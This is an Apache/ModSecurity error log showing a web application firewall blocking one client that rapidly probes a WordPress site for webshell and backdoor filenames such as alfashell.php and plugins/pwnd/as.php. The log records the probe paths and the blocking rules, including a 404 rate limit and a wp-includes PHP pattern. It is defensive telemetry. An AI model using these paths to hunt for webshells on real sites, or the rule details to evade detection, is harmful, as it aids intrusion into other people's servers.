[Wed Apr 22 23:51:09.517212 2026] [:error] [pid 6344:tid 6372] [client 172.213.243.103:40100] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/BDKR28WP.php"] [unique_id "aejubUDOTF-pkQnDeUkgfwAAABc"]
[Wed Apr 22 23:51:10.003757 2026] [:error] [pid 6344:tid 6353] [client 172.213.243.103:9015] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/l10n/"] [unique_id "aejubkDOTF-pkQnDeUkgggAAAAQ"]
[Wed Apr 22 23:51:10.481182 2026] [:error] [pid 6251:tid 6292] [client 172.213.243.103:65022] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/l10n/"] [unique_id "aejubisFAzbyObL-SQ6aMQAAAIc"]
[Wed Apr 22 23:51:10.960660 2026] [:error] [pid 23776:tid 23791] [client 172.213.243.103:55917] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/l10n/"] [unique_id "aejubrRExf-1pAbSeJszrQAAAY0"]
[Wed Apr 22 23:51:11.446644 2026] [:error] [pid 23776:tid 23798] [client 172.213.243.103:8976] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/l10n/"] [unique_id "aejub7RExf-1pAbSeJszsAAAAZQ"]
[Wed Apr 22 23:51:11.951392 2026] [:error] [pid 23776:tid 23784] [client 172.213.243.103:64964] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/"] [unique_id "aejub7RExf-1pAbSeJszsgAAAYY"]
[Wed Apr 22 23:51:12.436819 2026] [:error] [pid 6384:tid 6387] [client 172.213.243.103:9021] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/"] [unique_id "aejucD58M3t15ICeWHWc7gAAAMA"]
[Wed Apr 22 23:51:12.953663 2026] [:error] [pid 6250:tid 6262] [client 172.213.243.103:48262] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/"] [unique_id "aejucA-iZeQkqmQVfj40UgAAAEg"]
[Wed Apr 22 23:51:13.442389 2026] [:error] [pid 6384:tid 6402] [client 172.213.243.103:8982] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/"] [unique_id "aejucT58M3t15ICeWHWc8AAAAM8"]
[Wed Apr 22 23:51:13.928157 2026] [:error] [pid 6384:tid 6397] [client 172.213.243.103:37139] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "aejucT58M3t15ICeWHWc8QAAAMo"]
[Wed Apr 22 23:51:14.411902 2026] [:error] [pid 6344:tid 6372] [client 172.213.243.103:48258] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "aejuckDOTF-pkQnDeUkglAAAABc"]
[Wed Apr 22 23:51:14.928572 2026] [:error] [pid 6344:tid 6363] [client 172.213.243.103:9011] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "aejuckDOTF-pkQnDeUkgmAAAAA4"]
[Wed Apr 22 23:51:15.406431 2026] [:error] [pid 6344:tid 6373] [client 172.213.243.103:50566] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "aejuc0DOTF-pkQnDeUkgmQAAABg"]
[Wed Apr 22 23:51:15.884250 2026] [:error] [pid 6344:tid 6362] [client 172.213.243.103:37168] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/fi.php"] [unique_id "aejuc0DOTF-pkQnDeUkgnQAAAA0"]
[Wed Apr 22 23:51:16.366261 2026] [:error] [pid 9085:tid 9111] [client 172.213.243.103:41979] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/fi.php"] [unique_id "aejudN-_-or9vQnlWnrptwAAAVg"]
[Wed Apr 22 23:51:16.842667 2026] [:error] [pid 9085:tid 9097] [client 172.213.243.103:58213] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/fi.php"] [unique_id "aejudN-_-or9vQnlWnrpuQAAAUo"]
[Wed Apr 22 23:51:17.322518 2026] [:error] [pid 23776:tid 23788] [client 172.213.243.103:41292] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/fi.php"] [unique_id "aejudbRExf-1pAbSeJszwAAAAYo"]
[Wed Apr 22 23:51:17.801611 2026] [:error] [pid 23776:tid 23792] [client 172.213.243.103:37137] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fe5.php"] [unique_id "aejudbRExf-1pAbSeJszwQAAAY4"]
[Wed Apr 22 23:51:18.318152 2026] [:error] [pid 6384:tid 6400] [client 172.213.243.103:62450] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fe5.php"] [unique_id "aejudj58M3t15ICeWHWc-AAAAM0"]
[Wed Apr 22 23:51:18.809161 2026] [:error] [pid 6384:tid 6403] [client 172.213.243.103:39471] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fe5.php"] [unique_id "aejudj58M3t15ICeWHWc-QAAANA"]
[Wed Apr 22 23:51:19.323155 2026] [:error] [pid 6384:tid 6392] [client 172.213.243.103:37060] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fe5.php"] [unique_id "aejudz58M3t15ICeWHWc_QAAAMU"]
[Wed Apr 22 23:51:19.812110 2026] [:error] [pid 6250:tid 6265] [client 172.213.243.103:38306] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aejudw-iZeQkqmQVfj40WwAAAEs"]
[Wed Apr 22 23:51:20.292429 2026] [:error] [pid 6384:tid 6399] [client 172.213.243.103:41959] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aejueD58M3t15ICeWHWdAQAAAMw"]
[Wed Apr 22 23:51:20.775999 2026] [:error] [pid 6252:tid 6334] [client 172.213.243.103:55915] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aejueOtGYuiYb1nWBpRt5AAAARY"]
[Wed Apr 22 23:51:21.254632 2026] [:error] [pid 6384:tid 6411] [client 172.213.243.103:37178] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aejueT58M3t15ICeWHWdAwAAANg"]
[Wed Apr 22 23:51:21.743464 2026] [:error] [pid 6384:tid 6400] [client 172.213.243.103:40121] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "aejueT58M3t15ICeWHWdBgAAAM0"]
[Wed Apr 22 23:51:22.221083 2026] [:error] [pid 6344:tid 6363] [client 172.213.243.103:48291] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "aejuekDOTF-pkQnDeUkgpAAAAA4"]
[Wed Apr 22 23:51:22.700463 2026] [:error] [pid 6384:tid 6404] [client 172.213.243.103:50619] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "aejuej58M3t15ICeWHWdCgAAANE"]
[Wed Apr 22 23:51:23.215574 2026] [:error] [pid 6384:tid 6408] [client 172.213.243.103:35555] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "aejuez58M3t15ICeWHWdDAAAANU"]
[Wed Apr 22 23:51:23.750497 2026] [:error] [pid 6384:tid 6389] [client 172.213.243.103:50620] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abcd.php"] [unique_id "aejuez58M3t15ICeWHWdEQAAAMI"]
[Wed Apr 22 23:51:24.235304 2026] [:error] [pid 23776:tid 23785] [client 172.213.243.103:8964] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abcd.php"] [unique_id "aejufLRExf-1pAbSeJszxgAAAYc"]
[Wed Apr 22 23:51:24.721352 2026] [:error] [pid 23776:tid 23793] [client 172.213.243.103:58189] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abcd.php"] [unique_id "aejufLRExf-1pAbSeJszywAAAY8"]
[Wed Apr 22 23:51:31.858398 2026] [:error] [pid 6344:tid 6372] [client 172.213.243.103:9006] [client 172.213.243.103] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aejug0DOTF-pkQnDeUkgsQAAABc"]
[Wed Apr 22 23:51:35.054450 2026] [autoindex:error] [pid 23776:tid 23787] [client 172.213.243.103:37085] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 23:51:35.328443 2026] [autoindex:error] [pid 23776:tid 23781] [client 172.213.243.103:37085] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 23:51:43.823083 2026] [:error] [pid 23776:tid 23802] [client 172.213.243.103:37085] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bs1.php"] [unique_id "aejuj7RExf-1pAbSeJsz8QAAAZg"]
[Wed Apr 22 23:51:44.305440 2026] [:error] [pid 6344:tid 6353] [client 172.213.243.103:35473] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bs1.php"] [unique_id "aejukEDOTF-pkQnDeUkgtwAAAAQ"]
[Wed Apr 22 23:51:44.800438 2026] [:error] [pid 6344:tid 6359] [client 172.213.243.103:38304] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bs1.php"] [unique_id "aejukEDOTF-pkQnDeUkgugAAAAo"]
[Wed Apr 22 23:51:45.289332 2026] [:error] [pid 6384:tid 6388] [client 172.213.243.103:34784] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bs1.php"] [unique_id "aejukT58M3t15ICeWHWdLAAAAME"]
[Wed Apr 22 23:51:45.773771 2026] [:error] [pid 6384:tid 6407] [client 172.213.243.103:50579] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aejukT58M3t15ICeWHWdLQAAANQ"]
[Wed Apr 22 23:51:46.250748 2026] [:error] [pid 6384:tid 6398] [client 172.213.243.103:41958] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aejukj58M3t15ICeWHWdMAAAAMs"]
[Wed Apr 22 23:51:46.739574 2026] [:error] [pid 6384:tid 6404] [client 172.213.243.103:50567] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aejukj58M3t15ICeWHWdNQAAANE"]
[Wed Apr 22 23:51:47.230093 2026] [:error] [pid 9085:tid 9092] [client 172.213.243.103:35531] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aejuk9-_-or9vQnlWnrp0QAAAUU"]
[Wed Apr 22 23:51:47.717529 2026] [:error] [pid 9085:tid 9111] [client 172.213.243.103:64963] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/axx.php"] [unique_id "aejuk9-_-or9vQnlWnrp0gAAAVg"]
[Wed Apr 22 23:51:48.197246 2026] [:error] [pid 6384:tid 6387] [client 172.213.243.103:35458] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/axx.php"] [unique_id "aejulD58M3t15ICeWHWdOQAAAMA"]
[Wed Apr 22 23:51:48.678171 2026] [:error] [pid 6384:tid 6391] [client 172.213.243.103:40096] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/axx.php"] [unique_id "aejulD58M3t15ICeWHWdOgAAAMQ"]
[Wed Apr 22 23:51:49.168393 2026] [:error] [pid 6384:tid 6399] [client 172.213.243.103:9004] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/axx.php"] [unique_id "aejulT58M3t15ICeWHWdPAAAAMw"]
[Wed Apr 22 23:51:49.648313 2026] [:error] [pid 23776:tid 23780] [client 172.213.243.103:39426] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfashell.php"] [unique_id "aejulbRExf-1pAbSeJsz-AAAAYI"]
[Wed Apr 22 23:51:50.131993 2026] [:error] [pid 6384:tid 6401] [client 172.213.243.103:35796] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfashell.php"] [unique_id "aejulj58M3t15ICeWHWdPgAAAM4"]
[Wed Apr 22 23:51:50.614465 2026] [:error] [pid 23776:tid 23782] [client 172.213.243.103:40114] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfashell.php"] [unique_id "aejulrRExf-1pAbSeJsz-QAAAYQ"]
[Wed Apr 22 23:51:51.095612 2026] [:error] [pid 6250:tid 6267] [client 172.213.243.103:38317] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfashell.php"] [unique_id "aejulw-iZeQkqmQVfj40gQAAAE0"]
[Wed Apr 22 23:51:51.573091 2026] [:error] [pid 6252:tid 6323] [client 172.213.243.103:48264] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gettest.php"] [unique_id "aejul-tGYuiYb1nWBpRt8QAAAQs"]
[Wed Apr 22 23:51:52.052616 2026] [:error] [pid 9085:tid 9088] [client 172.213.243.103:39444] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gettest.php"] [unique_id "aejumN-_-or9vQnlWnrp3wAAAUE"]
[Wed Apr 22 23:51:52.531956 2026] [:error] [pid 9085:tid 9099] [client 172.213.243.103:47555] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gettest.php"] [unique_id "aejumN-_-or9vQnlWnrp4gAAAUw"]
[Wed Apr 22 23:51:53.025606 2026] [:error] [pid 6384:tid 6410] [client 172.213.243.103:35793] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gettest.php"] [unique_id "aejumT58M3t15ICeWHWdRQAAANc"]
[Wed Apr 22 23:51:53.582550 2026] [:error] [pid 6384:tid 6393] [client 172.213.243.103:41934] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/acp.php"] [unique_id "aejumT58M3t15ICeWHWdRgAAAMY"]
